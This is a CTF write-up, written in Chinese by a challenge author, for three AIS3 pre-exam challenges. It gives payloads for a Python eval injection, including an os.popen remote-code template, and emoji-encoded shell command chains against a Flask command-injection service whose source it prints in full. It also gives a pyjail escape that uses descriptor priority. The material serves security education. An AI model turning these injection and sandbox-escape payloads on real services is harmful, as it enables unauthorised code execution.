2024 AIS3 pre-exam & MFCTF writeup

2024 AIS3 pre-exam writeup

這次幫 AIS3 pre-exam 和 MFCTF 出題，出了兩題：一題 web 和一題 misc (但其實兩題都是web)

evil calculator

This is a calculator written in Python. It’s a simple calculator, but some function in it is VERY EVIL!!
Connection info: http://chals1.ais3.org:5001
Author: TriangleSnake

這是一題很簡單的pyjail(?有jail嗎)，主要問題出在 eval() function，但是有過濾 _ 和 space 。
因為是warmup題，預期解是用open()讀flag，不會用到_和space。

{"expression":"open('/flag','r').read()"}

當然，你也可以把 _ 和 space encode 後 rce

{"expression":"eval(eval('chr(95)')+eval('chr(95)')+'import'+eval('chr(95)')+eval('chr(95)')+\"('os').popen('').read()\")"}

AIS3{7RiANG13_5NAK3_I5_50_3Vi1}

emoji console

🔺🐍 😡 🅰️ 🆒 1️⃣Ⓜ️🅾️ 🚅☠️✉️ 🥫🫵 🔍🚩⁉️
Connection info: http://chals1.ais3.org:5000
Author: TriangleSnake

這題和資安沒什麼關係，純粹是拼字遊戲，可以隨便按幾個 emoji 後就可以發現他就是把你輸入的 emoji 轉成英文單字後變成一行指令

試幾次會發現一些常用的指令，像是 🐱->cat 、 💿->cd ，還有題目剛進去就提示的 🐍->python 和 ⭐->*

1. 嘗試使用 cat 命令看目錄下面有什麼

   🐱 ⭐

#!/usr/local/bin/python3

import os
from flask import Flask,send_file,request,redirect,jsonify,render_template
import json
import string
def translate(command:str)->str:
    emoji_table = json.load(open('emoji.json','r',encoding='utf-8'))
    for key in emoji_table:
        if key in command:
            command = command.replace(key,emoji_table[key])
    return command.lower()

app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/api')
def api():
    command = request.args.get('command')
    
    if len(set(command).intersection(set(string.printable.replace(" ",''))))>0:
        return jsonify({'command':command,'result':'Invalid command'})
    command = translate(command)
    result = os.popen(command+" 2>&1").read()
    return jsonify({'command':command,'result':result})
    

if __name__ == '__main__':
    app.run('0.0.0.0',5000)

{
    "😀": ":D",
    "😁": ":D",
    "😂": ":')",
    "🤣": "XD",
    "😃": ":D",
    "😄": ":D",
    "😅": "':D",
    "😆": "XD",
    "😉": ";)",
    "😊": ":)",
    "😋": ":P",
    "😎": "B)",
    "😍": ":)",
    "😘": ":*",
    "😗": ":*",
    "😙": ":*",
    "😚": ":*",
    "☺️": ":)",
    "🙂": ":)",
    "🤗": ":)",
    "🤩": ":)",
    "🤔": ":?",
    "🤨": ":/",
    "😐": ":|",
    "😑": ":|",
    "😶": ":|",
    "🙄": ":/",
    "😏": ":]",
    "😣": ">:",
    "😥": ":'(",
    "😮": ":o",
    "🤐": ":x",
    "😯": ":o",
    "😪": ":'(",
    "😫": ">:(",
    "😴": "Zzz",
    "😌": ":)",
    "😛": ":P",
    "😜": ";P",
    "😝": "XP",
    "🤤": ":P",
    "😒": ":/",
    "😓": ";/",
    "😔": ":(",
    "😕": ":/",
    "🙃": "(:",
    "🤑": "$)",
    "😲": ":O",
    "☹️": ":(",
    "🙁": ":(",
    "😖": ">:(",
    "😞": ":(",
    "😟": ":(",
    "😤": ">:(",
    "😢": ":'(",
    "😭": ":'(",
    "😦": ":(",
    "😧": ">:(",
    "😨": ":O",
    "😩": ">:(",
    "🤯": ":O",
    "😬": ":E",
    "😰": ":(",
    "😱": ":O",
    "🥵": ">:(",
    "🥶": ":(",
    "😳": ":$",
    "🤪": ":P",
    "😵": "X(",
    "🥴": ":P",
    "😠": ">:(",
    "😡": ">:(",
    "🤬": "#$%&!",
    "🤕": ":(",
    "🤢": "X(",
    "🤮": ":P",
    "🤧": ":'(",
    "😇": "O:)",
    "🥳": ":D",
    "🥺": ":'(",
    "🤡": ":o)",
    "🤠": "Y)",
    "🤥": ":L",
    "🤫": ":x",
    "🤭": ":x",
    "🐶": "dog",
    "🐱": "cat",
    "🐭": "mouse",
    "🐹": "hamster",
    "🐰": "rabbit",
    "🦊": "fox",
    "🐻": "bear",
    "🐼": "panda",
    "🐨": "koala",
    "🐯": "tiger",
    "🦁": "lion",
    "🐮": "cow",
    "🐷": "pig",
    "🐽": "pig nose",
    "🐸": "frog",
    "🐒": "monkey",
    "🐔": "chicken",
    "🐧": "penguin",
    "🐦": "bird",
    "🐤": "baby chick",
    "🐣": "hatching chick",
    "🐥": "front-facing baby chick",
    "🦆": "duck",
    "🦅": "eagle",
    "🦉": "owl",
    "🦇": "bat",
    "🐺": "wolf",
    "🐗": "boar",
    "🐴": "horse",
    "🦄": "unicorn",
    "🐝": "bee",
    "🐛": "bug",
    "🦋": "butterfly",
    "🐌": "snail",
    "🐞": "lady beetle",
    "🐜": "ant",
    "🦟": "mosquito",
    "🦗": "cricket",
    "🕷️": "spider",
    "🕸️": "spider web",
    "🦂": "scorpion",
    "🐢": "turtle",
    "🐍": "python",
    "🦎": "lizard",
    "🦖": "T-Rex",
    "🦕": "sauropod",
    "🐙": "octopus",
    "🦑": "squid",
    "🦐": "shrimp",
    "🦞": "lobster",
    "🦀": "crab",
    "🐡": "blowfish",
    "🐠": "tropical fish",
    "🐟": "fish",
    "🐬": "dolphin",
    "🐳": "whale",
    "🐋": "whale",
    "🦈": "shark",
    "🐊": "crocodile",
    "🐅": "tiger",
    "🐆": "leopard",
    "🦓": "zebra",
    "🦍": "gorilla",
    "🦧": "orangutan",
    "🦣": "mammoth",
    "🐘": "elephant",
    "🦛": "hippopotamus",
    "🦏": "rhinoceros",
    "🐪": "camel",
    "🐫": "two-hump camel",
    "🦒": "giraffe",
    "🦘": "kangaroo",
    "🦬": "bison",
    "🦥": "sloth",
    "🦦": "otter",
    "🦨": "skunk",
    "🦡": "badger",
    "🐾": "paw prints",
    "◼️": "black square",
    "◻️": "white square",
    "◾": "black medium square",
    "◽": "white medium square",
    "▪️": "black small square",
    "▫️": "white small square",
    "🔶": "large orange diamond",
    "🔷": "large blue diamond",
    "🔸": "small orange diamond",
    "🔹": "small blue diamond",
    "🔺": "triangle",
    "🔻": "triangle",
    "🔼": "triangle",
    "🔽": "triangle",
    "🔘": "circle",
    "⚪": "circle",
    "⚫": "black circle",
    "🟠": "orange circle",
    "🟢": "green circle",
    "🔵": "blue circle",
    "🟣": "purple circle",
    "🟡": "yellow circle",
    "🟤": "brown circle",
    "⭕": "empty circle",
    "🅰️": "A",
    "🅱️": "B",
    "🅾️": "O",
    "ℹ️": "i",
    "🅿️": "P",
    "Ⓜ️": "M",
    "🆎": "AB",
    "🆑": "CL",
    "🆒": "COOL",
    "🆓": "FREE",
    "🆔": "ID",
    "🆕": "NEW",
    "🆖": "NG",
    "🆗": "OK",
    "🆘": "SOS",
    "🆙": "UP",
    "🆚": "VS",
    "㊗️": "祝",
    "㊙️": "秘",
    "🈺": "營",
    "🈯": "指",
    "🉐": "得",
    "🈹": "割",
    "🈚": "無",
    "🈲": "禁",
    "🈸": "申",
    "🈴": "合",
    "🈳": "空",
    "🈵": "滿",
    "🈶": "有",
    "🈷️": "月",
    "🚗": "car",
    "🚕": "taxi",
    "🚙": "SUV",
    "🚌": "bus",
    "🚎": "trolleybus",
    "🏎️": "race car",
    "🚓": "police car",
    "🚑": "ambulance",
    "🚒": "fire engine",
    "🚐": "minibus",
    "🚚": "delivery truck",
    "🚛": "articulated lorry",
    "🚜": "tractor",
    "🛴": "kick scooter",
    "🚲": "bicycle",
    "🛵": "scooter",
    "🏍️": "motorcycle",
    "✈️": "airplane",
    "🚀": "rocket",
    "🛸": "UFO",
    "🚁": "helicopter",
    "🛶": "canoe",
    "⛵": "sailboat",
    "🚤": "speedboat",
    "🛳️": "passenger ship",
    "⛴️": "ferry",
    "🛥️": "motor boat",
    "🚢": "ship",
    "👨": "man",
    "👩": "woman",
    "👶": "baby",
    "🧓": "old man",
    "👵": "old woman",
    "💿": "CD",
    "📀": "DVD",
    "📱": "phone",
    "💻": "laptop",
    "🖥️": "pc",
    "🖨️": "printer",
    "⌨️": "keyboard",
    "🖱️": "mouse",
    "🖲️": "trackball",
    "🕹️": "joystick",
    "🗜️": "clamp",
    "💾": "floppy disk",
    "💽": "minidisc",
    "☎️": "telephone",
    "📟": "pager",
    "📺": "television",
    "📻": "radio",
    "🎙️": "studio microphone",
    "🎚️": "level slider",
    "🎛️": "control knobs",
    "⏰": "alarm clock",
    "🕰️": "mantelpiece clock",
    "⌚": "watch",
    "📡": "satellite antenna",
    "🔋": "battery",
    "🔌": "plug",
    "🚩": "flag",
    "⓿": "0",
    "❶": "1",
    "❷": "2",
    "❸": "3",
    "❹": "4",
    "❺": "5",
    "❻": "6",
    "❼": "7",
    "❽": "8",
    "❾": "9",
    "❿": "10",
    "⭐": "*",
    "➕": "+",
    "➖": "-",
    "✖️": "×",
    "➗": "÷"

}cat: flag: Is a directory
cat: templates: Is a directory

現在我們得到一個json有所有指令的對照表，並且可以知道flag應該是在 flag 的資料夾。

嘗試 cat flag 資料夾裡面的東西，可以從剛剛 dump 出來的 json 找可以用的指令，這邊使用;/和:|切割指令，回傳的結果似乎是一個 python file

💿 🚩😓😑🐱 ⭐ #cd flag;/:|

#flag-printer.py

print(open('/flag','r').read())

3. 執行python，get flag

   💿 🚩😓😑🐍❸ 🚩➖🖨️⭐

AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}

Can you describe Pyjail?

Yet another 🐍 ⛓️.
nc chals1.ais3.org 48763
Author: Vincent55

這題不是我出的，但是 Vincent 大佬出的題目還是要捧場一下

source code

看source code可以知道是很純的pyjail，在 safe_eval 裡面就把該 ban 的都 ban 光了

跟前面那題 evil calculator 比起來 calculator 一點都不 evil

#!/usr/local/bin/python3

from safe_eval import safe_eval
from inspect import getdoc


class Desc:
    """
    Welcome to my 🐍 ⛓️
    """

    def __get__(self, objname, obj):
        return __import__("conf").flag

    def desc_helper(self, name):
        origin = getattr(type, name)
        if origin == type.__getattribute__:
            raise NameError(
                "Access to forbidden name %r (%r)" % (name, "__getattribute__")
            )
        self.helper = origin


class Test:
    desc = Desc()


test = Test()
test.desc = "flag{fakeflag}"


# Just a tricky way to print a welcome message, or maybe a hint :/
# You can just `print(getdoc(Desc))`
# This is not part of the challenge, but if you can get the flag through here, please contact @Vincent55.
welcome_msg = """
desctmp := Desc()
desctmp.desc_helper("__base__")
Obj := desctmp.helper
desctmp := Desc()
desctmp.desc_helper("__subclasses__")
print(getdoc(desctmp.helper(Obj)[-2]))
""".strip().replace("\n", ",")
welcome_msg = f"({welcome_msg})"

safe_eval(
    welcome_msg,
    {"__builtins__": {}},
    {"Desc": Desc, "print": print, "getdoc": getdoc},
)


# Your challenge begin here!
payload = input("✏️: ")

safe_eval(
    payload,
    {"__builtins__": {}},
    {"Desc": Desc},
)

# print(f"test.__dict__: {test.__dict__}")
print(f"🚩: {test.desc}")

看完 source code 可以發現他在print welcome_msg 的時候用了一個非常詭異的方法，也算是這題的題示。

welcome_msg到底在幹嘛

首先看到下面這段程式碼：

welcome_msg = """
desctmp := Desc()
desctmp.desc_helper("__base__")
Obj := desctmp.helper
desctmp := Desc()
desctmp.desc_helper("__subclasses__")
print(getdoc(desctmp.helper(Obj)[-2]))
""".strip().replace("\n", ",")
welcome_msg = f"({welcome_msg})"

safe_eval(
    welcome_msg,
    {"__builtins__": {}},
    {"Desc": Desc, "print": print, "getdoc": getdoc},
)

其實會發現你可以透過 getattr(type, name) 取得type底下的attribute
這裡會卡一個知識點，就是當你要取得某個 class 的 subclass 的時候(假設是 str )，會寫 str.__subclasses__() ，但其實可以寫成 type.__subclasses__(str) ，前提是 str 的 class 必須是 type

所以我們可以先透過 getattr(type,"__subclasses__") 取得 type.__subclasses__ 再把 __base__ 塞進去就可以得到 type.__base__.__subclasses__()

好到這邊大家應該已經搞懂上面那陀 welcome_msg 的 payload 到底在幹嘛了，簡單來說就是到 object 裡面把所有 class 抓出來，然後抓倒數第2個 class (jail.Desc)把它印出來

解題

一開始想改抓 jail.Test 下面的 desc 就可以拿到 flag 了
抓是抓得到，但是print不出來啊

a = Desc();a.desc_helper("__base__");obj=a.helper;a = Desc();a.desc_helper("__subclasses__");obj = a.helper(obj)[-1].desc

這邊又卡一個知識點了，那就是 python 的 descriptor 解析有優先度的問題(題目有提示describe，雖然我覺得沒有人看得懂)

以下參考 @Vincent550102 的筆記：

• 如果 __get__ 與 __set__ 都有，優先使用描述器（Descriptor）：
  當一個描述器同時實現了 __get__ 和 __set__ 方法時，Python 會認為它是一個資料描述器（Data Descriptor）。資料描述器的一個特點是它們對屬性的訪問有更高的優先級。
  如果不是，則在自己的 __dict__ 裡面找：
• 如果描述器沒有作為資料描述器或者只實現了 __get__ 方法的非資料描述器（Non-Data Descriptor）或者找不到描述器，Python 會繼續在物件的 __dict__ 屬性字典中尋找是否存在該屬性。
• 若在 __dict__ 也找不到，嘗試用描述器的 __get__：
  如果在物件的 dict 中找不到該屬性，Python 會檢查是否存在只實現了 get 方法的非資料描述器，如果存在，則回傳該描述器的 __get__ 方法。
  都沒有，直接回傳描述器：
• 如果上述步驟都無法找到該屬性，最後會返回描述器物件本身，如果連描述器也不存在，則會拋出 AttributeError。

看到這邊，問題已經變很簡單了，那就是我們需要將 __get__ 變成最高優先級，此時後面就算 fake_flag 把 test.desc 蓋掉也沒有用，仍然會回傳 Test.__get__() 的內容

如何將 __get__ 變成最高優先級呢？只要新增一個 __set__ 就行了

func = lambda self,obj,val:None
desc.__setattr__("__set__",func)

#payload
(a := Desc(),a.desc_helper("__base__"),obj:=a.helper,a := Desc(),a.desc_helper("__subclasses__"),desc:=a.helper(obj)[-2],a:=Desc(),a.desc_helper("__setattr__"),func:=lambda self,obj,val:None,a.helper(desc,"__set__",func))

AIS3{y0u_kn0w_h0w_d35cr1p70r_w0rk!}